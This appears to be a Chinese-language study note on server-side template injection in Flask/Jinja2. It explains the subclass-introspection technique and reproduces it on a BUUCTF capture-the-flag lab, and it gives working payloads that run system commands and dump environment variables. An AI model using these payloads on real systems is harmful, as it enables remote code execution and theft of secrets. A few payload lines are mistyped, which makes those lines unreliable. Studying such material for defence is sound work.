整理一下Flask框架下的SSTI漏洞相关知识:
漏洞原理
Flask是一个很常用的python框架,其中存在SSTI漏洞。
SSTI,服务端模板注入,很早就知道这个东西,但没有仔细整理过,作为一种注入漏洞,简单说就是用户的说明会变成命令执行,比如{{7*7}}会变成49。在详细讲述原理之前,首先了解什么是模板,看下面代码:
templeta = "hello" + {{user,id}}
render(templeta)
这里大括号里的东西是可变的,而当用户传入某些参数时系统可能会把用户的参数当成代码执行,例如{{7*7}}在执行时就会变成49,这就存在漏洞。进一步,既然存在注入那肯定可以试着去执行系统命令,诸如{{os.system('ls')}}等等,继而引发各种问题。
当然在实际应用中会发现并不能这么简单的执行系统命令,因为jinjia做了一些限制导致我们无法轻易的使用相关语句。于是我们需要绕一点弯,这里有一个小知识:python当中所有东西都是对象,既然是对象就有对应的类,我们就可以利用相关的魔术方法,比如'abc'是一个字符串,我们就可以通过__class__魔术方法发现这个类。
{{'abc'.__class__}}
>><class 'str'>
进一步还可以找到更多的基类:
{{'abc'.__class__.__base__}}
>><class 'Object'>
再进一步我们就可以通过__subclasses__()找到所有继承于这个基类的类:
{{'abc'.class.base.subclasses()}}
可以看到一大堆类。之后我们只要从这一大堆类里面找到一个导入了sys模块的类,我们就可以间接调用其中的模块,帮助我们执行恶意代码,比如这样:
{{''.__class__.__base__.__subclasses__()[128].__init__.__globals__['sys'].modules['os'].popen('ls').read()}}
这就是一个常见的执行了ls命令的payload,有时候也要写成jinjia2语法的形式:
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='catch_warnings' %}
{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()") }} {% endif %}
{% endfor %}
其他常用语句比如:
{{''.__class__.__mro__[-1].__subclasses__()[128].__dir__(''.__class__.__mro__[-1].__subclasses__()[128])}}
#查看某一个类的所有方法
复现记录
vulhub中的Flask(Jinja2) 服务端模板注入漏洞,这里直接用BUUCTF [Flask]SSTI的环境了:
进去显示Hello guest
传入/?name={{7*7}},显示Hello 49,说明存在SSTI
看看源码:
Hello from flask import Flask, request
from jinja2 import Template
app = Flask(__name__)
@app.route("/")
def index():
name = request.args.get('name', 'guest')
t = Template("Hello " + name)
return t.render()
if __name__ == "__main__":
app.run()
可以看到在t = Template("Hello " + name)处根据传入的信息可以进行模板注入。
payload: /?name={{''.__class__.__base__.__subclasses__()[168].__init__.__globals__['sys'].modules['os'].popen('ls').read()}}
成功执行了ls命令:
打印环境变量可以找到flag:
/?name={{''.__class__.__base__.__subclasses__()[168].__init__.__globals__['sys'].modules['os'].popen('env').read()}}